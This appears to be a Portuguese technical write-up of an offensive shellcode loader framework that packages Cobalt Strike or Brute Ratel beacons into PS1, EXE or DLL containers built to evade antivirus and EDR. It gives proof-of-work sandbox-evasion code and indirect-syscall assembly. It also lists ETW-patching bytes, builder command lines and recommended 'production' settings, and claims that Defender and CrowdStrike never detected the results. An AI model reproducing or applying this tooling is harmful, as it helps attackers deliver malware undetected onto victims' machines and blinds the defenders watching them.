Advanced New Loader

Framework de delivery de shellcode com evasao avancada — Analise tecnica completa

← Voltar ao inicio

Indice

1. Visao Geral

Framework completo para encapsular um shellcode arbitrario em um container final (PS1, EXE ou DLL). Cada build gera um artefato unico e irreproducivel. O design foca em tres objetivos:

Evasao Estatica

Ofuscacao pesada, junk code (ate 1M funcoes), criptografia multi-camada AES-256 + XOR

Evasao de Sandbox

Time-lock e Proof-of-Work como barreiras computacionais/temporais

Evasao de EDR Runtime

ETW patching, syscalls indiretas, PEB walking sem strings, reflexao .NET

Estrutura de Arquivos

advanced_new_loader/
├── builder/                 — Builder CLI (C++)
│   ├── builder.cpp          — Entry point, dispatcher de modos
│   ├── builder_stager.cpp   — Constroi shellcode intermediario
│   ├── builder_encryption.cpp — AES-256-CBC, XOR, SHA-256
│   └── builder_pssc.cpp     — Gera launcher PowerShell ofuscado
├── builder_gui/             — Interface grafica (.NET 10 WinForms)
├── stager/stager.cpp        — Shellcode intermediario (executa no alvo)
├── junk_gen/                — Gerador de codigo-lixo
├── containers/
│   ├── exe/exe.cpp          — Wrapper EXE
│   └── dll/dll.cpp          — Wrapper DLL
├── common/include/
│   ├── stager_common.h      — Algoritmo proofOfWork()
│   └── ps_launcher.h        — Template PS1 (5312 bytes)
└── bin/Release/
    └── cert.p12             — Certificado para assinatura

2. Arquitetura do Pipeline

[Shellcode raw (.bin)]

┌─────────────────────────┐
│ builder.exe (stager) │ Gera shellcode intermediario com protecao
└───────────┬─────────────┘
↓ __stager (binario temporario)
┌───────┴───────┐
↓ ↓
[PS1] [EXE/DLL]
builder.exe junk_gen.exe → junk.h
(pssc mode) MSBuild compila container
↓ ↓
output.ps1 output.exe/dll

[Opcional: sign_code.bat]

3. Estrutura do Stager em Memoria

O stager e um shellcode position-independent com 3 secoes:

STUB (nao criptografado)

STAGER BODY (XOR criptografado)

SHELLCODE FINAL (AES-256-CBC)

Payload do operador (beacon BRC4, Cobalt Strike, etc.)

Tail (dados apos o template, em disco)

[XOR key 32B]
[PoW index 2B      — XOR cifrado]
[Expiration secs 4B — XOR cifrado]
[TimeFrame offset 8B — XOR cifrado]
[Encrypted code size 4B]
[Mem protection 4B]
[Payload size 4B]
[Payload AES criptografado N bytes]

4. Sistema de Criptografia (3 Camadas)

Camada 1 — XOR: STUB descriptografa STAGER BODY

chave_base     = rand() 32 bytes (por build)
PoW_salt       = proofOfWork(1000 * (1 + indice_PoW))
chave_xor      = XOR(chave_base, PoW_salt)

// Builder aplica:
stager_body = XOR(stager_body, chave_xor)

Camada 2 — AES-256-CBC: STAGER BODY descriptografa SHELLCODE FINAL

chave_base     = rand() 32 bytes
chave_pow      = XOR(chave_base, PoW_salt)
chave_final    = XOR(chave_pow, time_frame_id)  // so se expiracao ativa

IV = 16 bytes de zeros  // fixo (concessao de design)

shellcode_enc = AES-256-CBC(chave_final, IV, shellcode)

Camada 3 — SHA-256: modo PS1

seed      = floor(unix_time / lifetime_seconds)
chave_aes = SHA-256(seed_as_8_bytes)
IV        = 16 bytes aleatorios  // gerado por build

5. Proof-of-Work

Algoritmo definido em stager_common.h:

unsigned int proofOfWork(unsigned int N) {
    unsigned int a = 1;
    for (unsigned int i = 1; i <= N; i++) {
        a = (a * i + 1) % 0xffff;
        unsigned int n = a;
        for (unsigned int j = 1; j < n; j++) {
            a = (a * j + 1) % 0xffff;
        }
    }
    return a;
}
Por que funciona: O PoW atrasa a descriptografia do shellcode. Enquanto calcula, nao existe shellcode em memoria — so math. Sandboxes com timeout curto desistem antes do calculo terminar. O shellcode so aparece DEPOIS que o scanner desistiu.

Impacto do PoW na Evasao

PoWIteracoesTempoDefenderCrowdStrikeUso
500501.000~2-3 minBloqueadoInvisivelNunca usar
700701.000~4-5 minInvisivelInvisivelTestes rapidos
20002.001.000~10-12 minInvisivelInvisivelProducao
50005.001.000~25-30 minInvisivelInvisivelAlta seguranca

6. Syscalls Indiretas (Hell's Gate + Halo's Gate)

Operacoes de memoria usam syscalls indiretas para contornar hooks de user-mode de EDRs:

Passo 1 — getSyscallData() (Halo's Gate)

Passo 2 — sysCallStore()

MOV R10, RCX   ; guarda syscall ID
MOV R11, RDX   ; guarda endereco do gadget
RET

Passo 3 — sysCallTrampoline()

MOV EAX, R10D  ; carrega syscall ID em EAX
MOV R10, RCX   ; move primeiro arg para R10
JMP R11        ; salta para gadget SYSCALL;RET dentro do ntdll
Por que funciona contra EDRs: A instrucao SYSCALL e executada dentro do espaco de endereco do proprio ntdll. EDRs que verificam se o return address aponta para codigo dentro do ntdll nao detectam essa execucao.

7. ETW Patching

Alvo: NtTraceEvent de ntdll (syscall subjacente a EtwEventWrite).

x64

unsigned char aEtwPatch[1] = { 0xc3 };  // RET

Sobrescreve o primeiro byte com RET — funcao retorna imediatamente sem processar eventos ETW.

x86

unsigned char aEtwPatch[3] = { 0x8b, 0xff, 0x55 };  // MOV EDI,EDI; PUSH EBP

Restaura prologo padrao, removendo hook de EDR.

8. Containers (EXE, DLL, PS1)

Container EXE

INT APIENTRY wWinMain(...) {
    return junkEntry();
}

Wrapper minimo que chama o junk code gerado.

Container DLL

BOOL DllMain(...) {
    if (ATTACH) {
        junkEntry();
    }
    return TRUE;
}

Executa via DllMain ou export customizado.

Container PS1

Template de 5312 bytes com:

  • Reflexao .NET
  • IL Emit + CALLI
  • Sem DllImport
  • Strings fragmentadas

Junk Code Generator

junk_gen gera junk.h contendo:

9. Configuracao e Uso

Parametros do Builder GUI

CampoDescricaoTesteProducao
SrcPath do shellcode raw (.bin)beacon.bin
PoWProof-of-Work (0-10000)7002000+
ExpirationJanela de validade em segundosNEVER3600-86400
Function CountFuncoes junk (500-1M)100050000+
ProtectionRX (stealth) ou RWX (auto-modifica)RXRX
ContainerPS1 / EXE / DLLEXEEXE ou DLL
SignAssinar com cert.p12NaoSim

Via CLI

# 1. Gerar stager
builder.exe -mode stager -src beacon.bin -dst __stager -expire 3600 -pow 2000 -protect RX

# 2a. PS1
builder.exe -mode pssc -sc64 __stager -dst output.ps1 -time 3600 -base64

# 2b. EXE
junk_gen.exe -dst containers\exe\junk.h -sc __stager -entry junkEntry -func 50000
msbuild.exe containers\containers.slnx /t:exe /p:Configuration=Release /p:Platform=x64

# 3. Assinar
sign_code.bat output.exe

10. Resultados de Testes

Taxa de Evasao (PoW=2000)

100% de sucesso em todos os ambientes compativeis

8/8 sistemas testados. Nenhum AV/EDR alertou ou bloqueou.

Compatibilidade de SO

SOEXE x64Nota
Windows 10Funciona
Windows 11FuncionaTestado em VPS e maquina fisica
Server 2019Funciona
Server 2022Funciona
Server 2025Funciona
Server 2012 R2Nao rodaRuntime C++ v145 incompativel
Server 2008 R2Nao rodaRuntime C++ v145 incompativel

MITRE ATT&CK

TecnicaIDComponente
Multi-layer EncryptionT1027.002builder_stager (XOR + AES-256)
Software PackingT1027Junk code, PS1 obfuscation
ETW PatchingT1562.006stager: NtTraceEvent patch
Direct/Indirect SyscallsT1106Hell's Gate + Halo's Gate
Code SigningT1553.002signtool + cert.p12
Sandbox Evasion (Time)T1497.003Time-lock
Sandbox Evasion (Compute)T1497.002Proof-of-Work